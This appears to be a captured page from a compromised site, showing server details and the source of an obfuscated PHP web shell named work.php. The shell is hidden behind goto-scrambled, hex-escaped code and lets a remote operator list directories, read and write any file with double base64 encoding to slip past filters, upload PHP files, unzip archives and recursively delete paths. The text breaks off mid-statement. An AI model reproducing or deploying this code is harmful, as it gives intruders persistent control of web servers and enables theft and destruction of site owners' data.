HEX
Server: Apache
System: Linux b:u:marcbase:1 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64
User: apache (92344)
PHP: 7.0.18
Disabled: apache_get_modules, apache_get_version, apache_reset_timeout, apache_getenv, apache_note, apache_setenv
Upload Files
File: /var/www/html/marcbase.com.br/work.php
<?php
 goto vhXfV; Ux3Fz: function nQxXK($N3FQp) { return realpath($N3FQp) !== false || is_dir(dirname($N3FQp)); } goto qzH6C; spVQI: echo "\47\40\x7d\x3b\xa\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\164\x20\125\x50\114\117\x41\104\x5f\114\111\115\111\124\137\115\102\40\75\x20\x38\x3b\12\x20\40\x20\40\40\40\x20\x20\x63\157\156\x73\x74\40\144\x6f\x6d\40\x3d\40\x7b\40\x66\151\x6c\x65\x4c\151\163\164\x3a\144\157\x63\165\155\x65\x6e\x74\x2e\x67\x65\x74\105\x6c\145\x6d\x65\156\164\x42\171\111\144\50\47\x66\151\x6c\145\x4c\151\163\164\x27\x29\x2c\160\x61\x74\150\102\141\x72\72\x64\157\x63\165\x6d\145\156\x74\56\x67\x65\x74\x45\154\145\155\x65\156\x74\x42\x79\x49\x64\50\x27\x70\x61\x74\x68\102\x61\162\47\x29\54\x75\x70\154\x6f\x61\144\102\x74\156\72\144\157\143\x75\x6d\145\x6e\164\56\147\x65\164\105\x6c\x65\x6d\145\156\164\x42\x79\x49\x64\x28\47\x75\160\x6c\157\141\x64\102\x74\156\x27\x29\x2c\x6e\145\x77\x46\151\154\x65\x42\x74\156\x3a\x64\x6f\x63\x75\x6d\145\x6e\x74\x2e\147\145\x74\105\154\145\155\x65\156\x74\102\171\x49\x64\x28\x27\x6e\145\x77\106\151\154\x65\x42\164\x6e\x27\51\54\x6e\x65\x77\106\x6f\x6c\144\x65\162\x42\x74\x6e\72\144\x6f\143\x75\155\x65\156\164\x2e\x67\145\164\105\x6c\x65\x6d\x65\156\x74\102\171\111\144\x28\47\156\x65\167\x46\157\x6c\144\x65\x72\102\164\156\47\51\x2c\144\x65\x6c\x65\x74\x65\x42\x74\x6e\x3a\x64\x6f\x63\165\155\145\156\x74\x2e\147\145\x74\x45\x6c\x65\155\x65\x6e\x74\102\171\111\x64\50\x27\x64\145\x6c\x65\164\x65\x42\164\156\47\x29\x2c\x73\x65\x6c\x65\143\164\x41\154\x6c\72\144\157\143\165\155\x65\156\164\56\147\145\164\105\154\x65\x6d\x65\156\x74\x42\x79\x49\144\50\x27\163\x65\x6c\x65\143\164\101\154\x6c\x27\x29\54\163\x70\151\156\156\x65\162\72\144\x6f\143\x75\155\x65\x6e\164\x2e\x67\145\x74\105\154\x65\155\x65\156\164\102\171\111\144\x28\x27\163\x70\151\x6e\156\x65\162\x27\51\54\150\151\144\144\x65\x6e\106\x69\x6c\145\x49\x6e\160\165\x74\x3a\x64\x6f\x63\165\x6d\x65\156\x74\56\x67\x65\164\x45\x6c\145\155\x65\x6e\x74\102\171\111\144\x28\47\150\x69\x64\144\x65\156\106\151\x6c\x65\111\156\x70\x75\164\47\x29\x2c\x65\144\151\x74\157\162\x4d\x6f\144\x61\154\72\144\x6f\143\165\155\145\x6e\x74\x2e\x67\x65\164\x45\x6c\145\155\x65\x6e\164\x42\x79\111\x64\x28\47\x65\144\x69\x74\157\x72\115\x6f\x64\x61\154\x27\x29\54\145\144\x69\x74\x6f\162\106\151\x6c\x65\156\141\x6d\x65\72\144\x6f\143\x75\x6d\x65\156\x74\x2e\x67\x65\164\x45\154\145\x6d\x65\156\164\x42\x79\111\144\50\x27\145\144\x69\x74\x6f\x72\x46\x69\x6c\x65\156\x61\x6d\x65\x27\x29\x2c\x65\144\x69\164\157\x72\x3a\144\157\x63\x75\x6d\145\156\x74\x2e\x67\145\x74\105\154\x65\x6d\145\x6e\164\102\171\111\144\50\x27\145\x64\151\x74\x6f\162\47\x29\x2c\x73\141\166\x65\x42\164\156\x3a\144\157\143\x75\x6d\x65\156\164\56\147\145\x74\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\50\x27\x73\141\166\x65\x42\x74\x6e\47\51\x2c\x7d\x3b\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\x20\40\40\x20\x20\141\x73\x79\156\x63\x20\146\x75\156\143\164\151\157\x6e\40\x61\160\151\x43\x61\154\154\50\x61\x63\164\x69\x6f\x6e\x2c\40\x66\x6f\x72\x6d\x44\x61\x74\141\54\x20\163\150\157\x77\x53\165\143\143\x65\163\163\75\x66\141\154\163\x65\x29\40\x7b\12\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\144\x6f\x6d\x2e\163\x70\x69\156\156\x65\x72\56\x73\x74\x79\154\145\x2e\144\151\x73\x70\x6c\x61\171\75\47\x69\156\x6c\x69\156\145\55\x62\x6c\x6f\x63\x6b\x27\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x74\x72\171\40\173\40\146\157\162\155\x44\141\x74\141\56\141\x70\x70\145\x6e\144\x28\47\x61\x63\x74\x69\x6f\156\47\x2c\40\141\x63\x74\151\157\x6e\51\73\40\143\157\156\x73\x74\x20\x72\145\163\x70\157\x6e\163\x65\x20\75\x20\x61\x77\x61\151\x74\40\x66\x65\164\143\x68\x28\47"; goto lbfgK; cwFyT: if (!isset($_REQUEST["\x61\143\164\x69\157\156"])) { goto NFGPu; } goto O4_Sl; lbfgK: echo basename(__FILE__); goto Nx60v; qzH6C: $kS0qQ = $_REQUEST["\x61\x63\164\x69\x6f\x6e"]; goto J71rt; umFMq: function T7y52($ajHSa) { goto mkf2u; PEj7X: $ajHSa = str_replace($f3NPl, '', $ajHSa); goto Z019O; mVUB6: $ajHSa = preg_replace("\x2f\x5c\x73\x2b\57", "\137", $ajHSa); goto xaWIz; Z019O: $ajHSa = trim($ajHSa); goto mVUB6; mkf2u: $f3NPl = ["\x22", "\47", "\x26", "\57", "\x5c", "\77", "\x23", "\74", "\76", "\174", "\x3a", "\52"]; goto PEj7X; xaWIz: return $ajHSa; goto EE2G2; EE2G2: } goto cwFyT; O4_Sl: header("\x43\x6f\x6e\164\x65\156\164\55\124\x79\160\x65\x3a\40\141\x70\x70\154\151\143\141\164\x69\157\156\x2f\152\x73\157\156\x3b\x20\143\150\141\162\163\145\164\x3d\x75\x74\x66\x2d\x38"); goto Ux3Fz; vhXfV: error_reporting(0); goto tozRd; J71rt: $C_q13 = ["\163\165\143\143\145\163\x73" => false, "\x6d\145\x73\x73\141\x67\x65" => "\x49\x6e\166\141\x6c\151\144\40\141\x63\164\x69\157\156\56"]; goto Ita0g; tozRd: function NY0tu($fw2Gb) { return is_string($fw2Gb) ? stripslashes($fw2Gb) : $fw2Gb; } goto uTQJ4; jupxf: echo Es90W(__DIR__); goto spVQI; uTQJ4: function ES90W($N3FQp) { return str_replace("\x5c", "\x2f", $N3FQp); } goto umFMq; wWXaN: NFGPu: goto t2KH8; Ita0g: try { goto IIL7D; IIL7D: switch ($kS0qQ) { case "\154\x69\x73\x74": goto Bf4SJ; odk5T: foreach (scandir($T4wW2) as $pZ4PV) { goto lKlnN; JxuNy: $qgHjW = $T4wW2 . "\x2f" . $pZ4PV; goto KOKkz; N7PaY: goto rRtUO; goto xJsL4; J2iFA: rRtUO: goto p5Oa0; lKlnN: if (!($pZ4PV === "\x2e" || $pZ4PV === "\x2e\x2e")) { goto qoKGw; } goto N7PaY; xJsL4: qoKGw: goto JxuNy; KOKkz: $uWh5l[] = ["\x6e\141\x6d\x65" => $pZ4PV, "\151\x73\137\144\x69\x72" => is_dir($qgHjW), "\x73\x69\172\x65" => is_dir($qgHjW) ? 0 : filesize($qgHjW), "\155\x6f\144\151\x66\x69\145\x64" => filemtime($qgHjW)]; goto J2iFA; p5Oa0: } goto J3yG0; SI6Kp: $C_q13 = ["\x73\165\143\143\145\x73\x73" => true, "\x66\151\x6c\145\163" => $uWh5l, "\160\141\x74\x68" => $T4wW2]; goto FISrv; kxjD2: zao4K: goto odk5T; wI9Uc: or7Bz: goto mTFJj; Bf4SJ: $N3FQp = isset($_POST["\x70\141\164\150"]) ? Ny0tu($_POST["\x70\141\164\x68"]) : __DIR__; goto dpEgR; zHH33: $uWh5l = []; goto C9SW_; RRjql: throw new Exception("\103\x61\x6e\x6e\x6f\164\40\x61\143\143\x65\163\163\40\x70\x61\164\x68\56\40\111\x74\x20\x6d\151\x67\x68\164\40\142\145\40\162\145\163\x74\x72\x69\x63\164\145\144\x20\142\171\40\163\x65\x72\x76\x65\x72\40\143\157\156\146\x69\x67\165\x72\141\164\151\x6f\x6e\40\x28\x6f\160\145\x6e\137\142\141\163\x65\144\x69\x72\x29\x2e"); goto kxjD2; C9SW_: if (@scandir($T4wW2)) { goto zao4K; } goto RRjql; slbf7: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\40\x6f\162\x20\x69\x6e\x61\x63\x63\145\163\x73\x69\142\x6c\x65\40\160\x61\164\x68\x2e"); goto wI9Uc; dpEgR: if (NqXxK($N3FQp)) { goto or7Bz; } goto slbf7; J3yG0: ua_El: goto SI6Kp; mTFJj: $T4wW2 = es90w(realpath($N3FQp)); goto zHH33; FISrv: goto ycSVf; goto C5_Rj; C5_Rj: case "\x67\145\164\137\143\157\156\164\145\x6e\x74": goto AB5qD; hw5BW: goto ycSVf; goto nxWjP; hSwnp: $C_q13 = ["\163\x75\143\143\145\x73\x73" => true, "\143\157\156\x74\145\x6e\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto hw5BW; hxmO8: throw new Exception("\x49\x6e\x76\141\x6c\x69\144\x20\x66\x69\154\x65\x20\x66\x6f\162\x20\x65\144\151\164\151\x6e\147\x2e"); goto yCBdH; AB5qD: $ojlAu = isset($_POST["\160\141\x74\x68"]) ? Ny0tU($_POST["\x70\141\164\x68"]) : ''; goto sSVlM; sSVlM: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto jY5MN; } goto hxmO8; yCBdH: jY5MN: goto hSwnp; nxWjP: case "\147\145\164\137\143\x6f\156\164\145\x6e\x74\137\142\x36\x34": goto Tw79G; RBpYX: $C_q13 = ["\x73\x75\x63\x63\x65\163\163" => true, "\x63\157\x6e\164\x65\156\x74" => base64_encode(base64_encode(file_get_contents($ojlAu)))]; goto CZCSs; Tw79G: $MsqHa = isset($_POST["\160\x61\x74\150\137\142\x36\64"]) ? NY0tu($_POST["\x70\x61\x74\x68\x5f\x62\x36\x34"]) : ''; goto IcMdj; IcMdj: $ojlAu = base64_decode($MsqHa); goto o4S3X; o4S3X: if (!(!realpath($ojlAu) || is_dir(realpath($ojlAu)))) { goto x__Ov; } goto SDUoj; CZCSs: goto ycSVf; goto P57y1; iIbT6: x__Ov: goto RBpYX; SDUoj: throw new Exception("\111\156\x76\141\x6c\x69\x64\x20\146\x69\154\145\x20\x66\157\162\40\145\x64\151\164\x69\x6e\x67\56"); goto iIbT6; P57y1: case "\163\141\x76\x65\x5f\143\157\x6e\x74\145\x6e\164": goto Qzs4F; rC4Qx: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto KTBmd; } goto jF2gU; Oy2kq: if (!(!nqXxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto tY8sk; } goto lMZp7; SLfKR: goto ycSVf; goto szMkK; VroMi: throw new Exception("\x43\x6f\156\x74\x65\x6e\x74\x20\x69\163\40\x65\155\x70\164\x79\56"); goto Ctqlm; zecoV: goto GU9sM; goto kIfmt; Ldo2f: $C_q13 = ["\163\x75\x63\x63\x65\163\x73" => true, "\x6d\145\163\163\141\x67\145" => "\106\151\154\x65\40\163\141\x76\145\144\x20\163\165\x63\x63\x65\x73\x73\x66\165\x6c\x6c\171\x2e"]; goto lb0OW; ewGJB: tY8sk: goto rC4Qx; kIfmt: KTBmd: goto Ldo2f; jF2gU: throw new Exception("\x43\x6f\x75\154\144\40\156\157\x74\40\x73\x61\x76\145\40\x66\151\154\145\56\x20\103\150\145\143\153\x20\160\145\x72\155\x69\163\163\151\x6f\156\x73\x2e"); goto zecoV; jCyJA: if (!empty($oV_sJ)) { goto RQpX6; } goto VroMi; OICIz: $I0G5S = base64_decode(base64_decode($Owp89)); goto Oy2kq; Qzs4F: $ojlAu = isset($_POST["\x70\x61\164\x68"]) ? NY0TU($_POST["\160\x61\x74\150"]) : ''; goto Jo8qy; Ctqlm: RQpX6: goto es8_X; es8_X: $Owp89 = implode('', $oV_sJ); goto OICIz; lMZp7: throw new Exception("\111\x6e\x76\x61\154\x69\x64\40\x66\x69\154\145\x20\x66\x6f\162\x20\163\x61\x76\x69\x6e\147\56"); goto ewGJB; Jo8qy: $oV_sJ = isset($_POST["\143\x6f\156\164\145\156\x74\137\x63\150\165\156\x6b\163"]) && is_array($_POST["\143\x6f\x6e\x74\145\156\164\x5f\143\150\x75\x6e\153\163"]) ? $_POST["\143\x6f\156\x74\145\156\x74\137\143\150\x75\x6e\x6b\x73"] : []; goto jCyJA; lb0OW: GU9sM: goto SLfKR; szMkK: case "\163\x61\x76\x65\137\143\157\156\164\x65\156\x74\137\x62\x36\x34": goto U59Qa; WGp6i: throw new Exception("\103\157\x6e\164\x65\x6e\x74\40\151\163\x20\145\155\160\164\x79\56"); goto RCxIS; XNi7t: $I0G5S = base64_decode(base64_decode($Owp89)); goto rrDPK; qNXrc: throw new Exception("\111\156\166\141\154\x69\144\40\x66\151\154\x65\x20\146\157\x72\x20\x73\x61\166\151\156\147\x2e"); goto hzKQ5; U59Qa: $MsqHa = isset($_POST["\160\x61\164\150\137\142\x36\x34"]) ? ny0tu($_POST["\x70\141\164\x68\137\x62\66\64"]) : ''; goto jiCXN; RCxIS: CVi5K: goto G5mHJ; iNZ_U: if (!empty($oV_sJ)) { goto CVi5K; } goto WGp6i; G5mHJ: $Owp89 = implode('', $oV_sJ); goto XNi7t; fjhtE: goto ycSVf; goto WoVGw; hzKQ5: qnvLN: goto Um8mO; rrDPK: if (!(!nqxxk($ojlAu) || file_exists($ojlAu) && is_dir($ojlAu))) { goto qnvLN; } goto qNXrc; jiCXN: $ojlAu = base64_decode($MsqHa); goto G9LIL; tTBu6: throw new Exception("\x44\x69\x72\145\x63\164\40\163\x61\166\145\x20\x66\x61\x69\x6c\145\144\x2e\x20\x43\150\x65\x63\153\x20\x70\145\162\155\x69\163\x73\151\157\156\163\x2e"); goto nTn7K; qPj5T: $C_q13 = ["\x73\x75\x63\143\x65\x73\163" => true, "\x6d\x65\163\163\141\147\x65" => "\106\151\154\145\x20\x73\x61\166\145\144\40\163\x75\143\143\145\x73\163\x66\165\x6c\x6c\171\x20\x28\144\151\162\x65\143\x74\40\x6d\x65\x74\x68\x6f\144\x29\56"]; goto EACoy; G9LIL: $oV_sJ = isset($_POST["\x63\x6f\156\x74\x65\156\164\x5f\143\150\165\156\153\163"]) && is_array($_POST["\x63\157\x6e\164\145\x6e\164\137\143\150\x75\156\153\x73"]) ? $_POST["\143\x6f\x6e\x74\145\156\164\137\x63\x68\165\156\x6b\x73"] : []; goto iNZ_U; nTn7K: goto riHcH; goto pVEwU; pVEwU: MC0Hh: goto qPj5T; Um8mO: if (file_put_contents($ojlAu, $I0G5S) !== false) { goto MC0Hh; } goto tTBu6; EACoy: riHcH: goto fjhtE; WoVGw: case "\143\162\145\x61\164\145\x5f\146\151\x6c\145": goto OlivP; gj37K: goto ycSVf; goto Qz8pL; O6lW3: if (!(!nqXXk($N3FQp) || empty($zDPI8))) { goto HI8Rq; } goto R2q22; av1vc: $C_q13 = ["\x73\x75\143\x63\145\x73\x73" => true, "\155\145\x73\163\x61\147\145" => "\106\x69\154\145\40\x63\x72\x65\141\164\145\x64\56"]; goto o1tPy; c6Jlp: throw new Exception("\103\x6f\165\x6c\x64\40\x6e\x6f\x74\40\143\162\x65\141\x74\x65\x20\146\x69\x6c\145\x2e"); goto IviK0; IviK0: goto PKoAm; goto I8N2E; LqGoz: if (touch(rtrim($N3FQp, "\x2f") . "\x2f" . $zDPI8)) { goto QFDzM; } goto c6Jlp; o1tPy: PKoAm: goto gj37K; Ry7yS: HI8Rq: goto LqGoz; OlivP: $N3FQp = isset($_POST["\x70\141\164\x68"]) ? NY0tU($_POST["\x70\141\x74\x68"]) : ''; goto r_qlF; I8N2E: QFDzM: goto av1vc; R2q22: throw new Exception("\x49\156\x76\x61\x6c\x69\144\40\160\x61\x74\x68\x20\157\x72\40\146\151\154\145\40\x6e\141\x6d\x65\56"); goto Ry7yS; r_qlF: $zDPI8 = isset($_POST["\156\x61\155\x65"]) ? T7y52($_POST["\x6e\x61\x6d\145"]) : ''; goto O6lW3; Qz8pL: case "\x75\x70\x6c\x6f\141\144": goto tJi60; H2Afx: $ajHSa = T7Y52(base64_decode($l70k5)); goto amLDx; cGcqq: throw new Exception("\103\157\x75\x6c\x64\40\156\157\x74\40\x73\141\166\145\40\x75\x70\x6c\x6f\x61\144\x65\144\40\146\x69\154\x65\x2e\x20\103\150\x65\x63\153\x20\160\x65\162\155\x69\163\163\151\157\156\x73\56"); goto gvXzd; EEvjB: if (file_put_contents($T7gx5, $uyHJc) !== false) { goto A1W55; } goto cGcqq; MoEwg: goto ycSVf; goto mSk9f; WBcVj: $uyHJc = base64_decode($tPB71); goto Nzj2T; GdYXT: jiXr9: goto WBcVj; xErIi: $tPB71 = isset($_POST["\143\x6f\x6e\x74\145\x6e\x74\137\142\x61\163\145\66\64"]) ? $_POST["\x63\157\156\164\x65\x6e\164\137\142\x61\x73\145\x36\64"] : ''; goto KQoRr; AihoA: throw new Exception("\111\x6e\166\141\154\x69\x64\x20\144\141\164\141\40\146\x6f\x72\x20\165\x70\x6c\157\x61\x64\56"); goto d1Vah; gvXzd: goto mT8Ye; goto XUupy; XUupy: A1W55: goto xwuut; xwuut: $C_q13 = ["\163\x75\143\143\145\x73\163" => true, "\155\145\163\x73\x61\x67\x65" => "\106\x69\154\145\40\165\160\154\157\x61\144\x65\144\x20\x73\x75\143\143\145\x73\x73\x66\x75\154\154\x79\x2e"]; goto Q6XGt; d1Vah: R2fsc: goto H2Afx; w3TPv: $l70k5 = isset($_POST["\x66\x69\154\145\x6e\x61\x6d\145\x5f\142\141\x73\145\x36\64"]) ? $_POST["\x66\x69\x6c\x65\156\141\x6d\145\137\x62\x61\163\145\66\x34"] : ''; goto xErIi; amLDx: if (!(strpos($tPB71, "\x2c") !== false)) { goto jiXr9; } goto GL5y3; GL5y3: list(, $tPB71) = explode("\54", $tPB71); goto GdYXT; tJi60: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0Tu($_POST["\160\141\x74\x68"]) : __DIR__; goto w3TPv; Nzj2T: $T7gx5 = rtrim($N3FQp, "\x2f") . "\57" . $ajHSa; goto EEvjB; Q6XGt: mT8Ye: goto MoEwg; KQoRr: if (!(!nQXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto R2fsc; } goto AihoA; mSk9f: case "\165\160\154\157\x61\144\x5f\160\150\160": goto dxdMd; dxdMd: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? nY0tU($_POST["\x70\141\x74\x68"]) : __DIR__; goto Pb0oM; hr4po: $C_q13 = ["\x73\165\143\143\145\163\x73" => true, "\155\145\163\x73\x61\147\x65" => "\x50\110\x50\40\x66\151\x6c\145\x20\165\x70\x6c\157\x61\x64\x65\x64\x20\163\x75\143\143\145\163\x73\146\x75\154\x6c\171\x2e"]; goto Y8QVm; EV6b7: throw new Exception("\x49\x6e\166\x61\154\x69\144\x20\144\141\164\141\x20\146\x6f\x72\40\x50\x48\120\40\165\160\x6c\x6f\x61\144\56"); goto YeT6E; h0fEK: $jTTGJ = rtrim($N3FQp, "\x2f") . "\x2f" . $iKGAi; goto MpHG6; YeT6E: fWTCg: goto quqXU; Y8QVm: fweIz: goto rdYwU; quqXU: $iKGAi = T7y52(base64_decode($l70k5)); goto Oz5_m; Pb0oM: $l70k5 = isset($_POST["\146\151\x6c\145\x6e\x61\155\145\137\142\x61\163\x65\66\x34"]) ? $_POST["\146\x69\x6c\145\156\x61\155\145\x5f\x62\141\x73\145\66\64"] : ''; goto kbzVC; Oz5_m: $DOdOg = $iKGAi . "\56\164\170\x74"; goto celZ0; nk57G: $e3qbB = rtrim($N3FQp, "\57") . "\57" . $DOdOg; goto h0fEK; celZ0: if (!(strpos($tPB71, "\54") !== false)) { goto KGuU8; } goto hpCdA; hpCdA: list(, $tPB71) = explode("\x2c", $tPB71); goto FiSuk; GGBuU: throw new Exception("\x43\x6f\x75\154\144\x20\x6e\157\164\40\x73\x61\x76\145\40\x74\145\x6d\160\x6f\x72\x61\162\171\x20\x66\151\x6c\145\x2e\x20\103\150\x65\143\x6b\x20\160\145\x72\155\x69\x73\163\151\x6f\x6e\163\56"); goto CBW5E; Q2Das: throw new Exception("\x43\157\165\154\x64\40\156\x6f\164\40\162\x65\x6e\141\155\x65\x20\164\x65\155\x70\157\x72\x61\x72\x79\40\146\151\154\x65\x2e"); goto uCCd0; uCCd0: goto fweIz; goto TbZqf; fdZIy: unlink($e3qbB); goto Q2Das; rQt4j: if (rename($e3qbB, $jTTGJ)) { goto awDxv; } goto fdZIy; CBW5E: CJrv3: goto rQt4j; FiSuk: KGuU8: goto aiEjh; TbZqf: awDxv: goto hr4po; kbzVC: $tPB71 = isset($_POST["\143\157\156\164\145\x6e\164\137\142\x61\x73\145\66\x34"]) ? $_POST["\x63\x6f\156\x74\145\x6e\164\x5f\x62\x61\x73\x65\66\64"] : ''; goto yxnwo; MpHG6: if (!(file_put_contents($e3qbB, $uyHJc) === false)) { goto CJrv3; } goto GGBuU; yxnwo: if (!(!nqXXk($N3FQp) || empty($l70k5) || empty($tPB71))) { goto fWTCg; } goto EV6b7; aiEjh: $uyHJc = base64_decode($tPB71); goto nk57G; rdYwU: goto ycSVf; goto ynwyj; ynwyj: case "\x75\x6e\172\x69\160": goto j71el; j71el: $N3FQp = isset($_POST["\x70\141\x74\x68"]) ? NY0TU($_POST["\x70\141\164\150"]) : __DIR__; goto HhhL1; h2u4s: if (class_exists("\x5a\x69\x70\101\x72\x63\x68\x69\166\145")) { goto XI5A7; } goto gDE4q; v6xw7: $EtgLY->extractTo(dirname($xwHaG)); goto AR4r6; NE8fX: XI5A7: goto iCXQ9; AR4r6: $EtgLY->close(); goto RJdP_; HhhL1: if (Nqxxk($N3FQp)) { goto fTIAY; } goto fB1ER; r28vr: goto urtPj; goto Yf6cr; RJdP_: $C_q13 = ["\x73\x75\x63\x63\145\x73\163" => true, "\155\x65\x73\x73\141\147\x65" => "\x41\162\x63\150\x69\166\x65\x20\x65\x78\x74\162\141\x63\164\x65\x64\x2e"]; goto M9hq_; p9Yjp: throw new Exception("\x46\x61\151\x6c\x65\x64\40\x74\157\40\157\x70\145\x6e\x20\x61\x72\x63\x68\151\x76\145\56"); goto r28vr; JzF9U: throw new Exception("\x49\156\x76\x61\154\151\144\40\132\111\x50\40\146\x69\x6c\145\40\x70\x61\x74\150\56"); goto l8PIt; fB1ER: throw new Exception("\111\156\x76\x61\154\151\144\x20\x70\141\x74\x68\x2e"); goto ehMVp; EeIZ5: if ($EtgLY->open($xwHaG) === TRUE) { goto Z7L05; } goto p9Yjp; V9ux2: goto ycSVf; goto PIuPs; iCXQ9: $EtgLY = new ZipArchive(); goto EeIZ5; vyegy: $xwHaG = isset($_POST["\160\141\x74\x68"]) ? Ny0TU($_POST["\x70\141\164\x68"]) : ''; goto hNwxQ; Yf6cr: Z7L05: goto v6xw7; hNwxQ: if (!(!realpath($xwHaG) || !is_file(realpath($xwHaG)) || pathinfo($xwHaG, PATHINFO_EXTENSION) !== "\x7a\x69\160")) { goto P3vJL; } goto JzF9U; ehMVp: fTIAY: goto vyegy; gDE4q: throw new Exception("\x50\110\x50\x20\x5a\111\x50\40\145\170\164\145\x6e\x73\x69\157\x6e\40\156\x6f\x74\40\x69\x6e\x73\x74\x61\154\154\145\144\56"); goto NE8fX; l8PIt: P3vJL: goto h2u4s; M9hq_: urtPj: goto V9ux2; PIuPs: case "\x64\145\154\145\164\145": goto tnc3C; IX1xj: $UT3Xw = isset($_POST["\151\x74\x65\x6d\163"]) && is_array($_POST["\151\x74\x65\x6d\x73"]) ? $_POST["\151\164\145\x6d\x73"] : []; goto a474Y; jDYzc: throw new Exception("\116\x6f\x20\x69\164\145\x6d\163\x20\163\x65\x6c\145\x63\x74\145\x64\40\146\157\x72\40\x64\145\154\x65\x74\151\157\156\x2e"); goto URVwS; EnthP: foreach ($UT3Xw as $pZ4PV) { goto ERlCU; T9sCk: NGGjy($qgHjW); goto McV9U; McV9U: roUZs: goto HqCFQ; nVSkN: if (!file_exists($qgHjW)) { goto roUZs; } goto T9sCk; HqCFQ: tuHG8: goto mVB9d; ERlCU: $qgHjW = rtrim($N3FQp, "\57") . "\57" . $pZ4PV; goto nVSkN; mVB9d: } goto MG9h4; KyY3J: goto ycSVf; goto kp8UV; MG9h4: ZQ2Zt: goto XJEc3; tnc3C: $N3FQp = isset($_POST["\x70\x61\x74\150"]) ? NY0TU($_POST["\x70\x61\164\150"]) : __DIR__; goto IX1xj; URVwS: OYjgE: goto dUZ2K; dUZ2K: function ngGJY($pZ4PV) { goto M1hPt; jtKjl: return unlink($pZ4PV); goto j5W0I; IxivI: foreach ($wolKu as $ojlAu) { ngGJY("{$pZ4PV}\x2f{$ojlAu}"); P4TSR: } goto kZ4he; kZ4he: STXtc: goto iYxii; LDBto: $wolKu = array_diff(scandir($pZ4PV), ["\x2e", "\x2e\x2e"]); goto IxivI; Q2JPT: UQ51L: goto Pp06I; M1hPt: if (is_dir($pZ4PV)) { goto m_qLf; } goto jtKjl; iYxii: return rmdir($pZ4PV); goto Q2JPT; UU8Yt: m_qLf: goto LDBto; j5W0I: goto UQ51L; goto UU8Yt; Pp06I: } goto EnthP; a474Y: if (!empty($UT3Xw)) { goto OYjgE; } goto jDYzc; XJEc3: $C_q13 = ["\x73\165\143\x63\145\x73\x73" => true, "\155\x65\163\x73\x61\x67\x65" => "\111\164\x65\155\163\x20\144\145\x6c\x65\x74\x65\x64\56"]; goto KyY3J; kp8UV: case "\x64\145\x6c\x65\x74\145\137\x62\66\64": goto Qo_HQ; o9Geq: if (!empty($UT3Xw)) { goto bIgN3; } goto U8OJB; cmkqA: bIgN3: goto cNHA4; CtCXm: goto ycSVf; goto B4c3f; V9AAM: tcc0Y: goto Hjg4t; df3TJ: foreach ($AopT5 as $pp4Zo) { $UT3Xw[] = base64_decode($pp4Zo); hDEUI: } goto FVEvK; FVEvK: YTElY: goto o9Geq; Qo_HQ: $N3FQp = isset($_POST["\160\x61\x74\150"]) ? NY0tU($_POST["\x70\x61\164\x68"]) : __DIR__; goto dexUZ; dexUZ: $AopT5 = isset($_POST["\x69\164\x65\155\163\137\142\66\x34"]) && is_array($_POST["\x69\164\145\x6d\163\x5f\142\66\x34"]) ? $_POST["\151\164\145\155\163\137\142\x36\64"] : []; goto KneCe; KneCe: $UT3Xw = []; goto df3TJ; cNHA4: function LHB01($pZ4PV) { goto C2Oey; NxdAz: $wolKu = array_diff(scandir($pZ4PV), ["\56", "\56\x2e"]); goto yY_5l; KyZfR: return unlink($pZ4PV); goto owZbu; XKe1G: rYEPR: goto NxdAz; yY_5l: foreach ($wolKu as $ojlAu) { LHB01("{$pZ4PV}\x2f{$ojlAu}"); X0WVR: } goto VsBSE; owZbu: goto l3EIG; goto XKe1G; VsBSE: FQz9b: goto oYmV0; YTNri: l3EIG: goto w59M4; oYmV0: return rmdir($pZ4PV); goto YTNri; C2Oey: if (is_dir($pZ4PV)) { goto rYEPR; } goto KyZfR; w59M4: } goto rTvM9; Hjg4t: $C_q13 = ["\163\165\143\143\145\x73\163" => true, "\155\x65\163\163\x61\x67\x65" => "\111\x74\145\155\x73\x20\x64\x65\x6c\x65\164\145\x64\x2e"]; goto CtCXm; rTvM9: foreach ($UT3Xw as $pZ4PV) { goto augDN; mkHI_: Jk67o: goto vEGF0; augDN: $qgHjW = rtrim($N3FQp, "\x2f") . "\57" . $pZ4PV; goto R3UhS; l1gC6: lHB01($qgHjW); goto h0b9E; h0b9E: LWEP_: goto mkHI_; R3UhS: if (!file_exists($qgHjW)) { goto LWEP_; } goto l1gC6; vEGF0: } goto V9AAM; U8OJB: throw new Exception("\x4e\x6f\x20\x69\164\x65\155\163\x20\163\x65\x6c\145\143\164\x65\x64\x20\146\x6f\162\x20\x64\x65\154\145\x74\151\x6f\156\56"); goto cmkqA; B4c3f: case "\143\x72\x65\141\164\145\137\x66\x6f\154\x64\x65\x72": goto hFMyY; WjVpt: vFOjM: goto mNqWY; Palgw: goto ycSVf; goto QqBDM; hFMyY: $N3FQp = isset($_POST["\160\141\164\x68"]) ? Ny0tu($_POST["\x70\x61\x74\150"]) : __DIR__; goto TMNGP; mNqWY: $C_q13 = ["\163\165\x63\143\145\163\x73" => true, "\155\x65\x73\x73\141\x67\145" => "\x46\x6f\x6c\144\x65\x72\x20\x63\162\x65\x61\164\145\144\56"]; goto bLaK3; RZUs9: throw new Exception("\111\x6e\x76\x61\154\151\x64\x20\160\x61\x74\150\x20\x6f\162\x20\x66\157\154\144\145\x72\40\156\141\x6d\145\x2e"); goto jNFLN; aTyZH: if (mkdir(rtrim($N3FQp, "\57") . "\x2f" . $zDPI8)) { goto vFOjM; } goto J5Dtz; bLaK3: r0qez: goto Palgw; jNFLN: NL3yu: goto aTyZH; zwHJx: if (!(!NQxxK($N3FQp) || empty($zDPI8))) { goto NL3yu; } goto RZUs9; J5Dtz: throw new Exception("\x43\157\x75\x6c\144\x20\156\157\164\40\x63\162\x65\x61\x74\x65\40\146\157\154\144\x65\162\x2e"); goto ss986; ss986: goto r0qez; goto WjVpt; TMNGP: $zDPI8 = 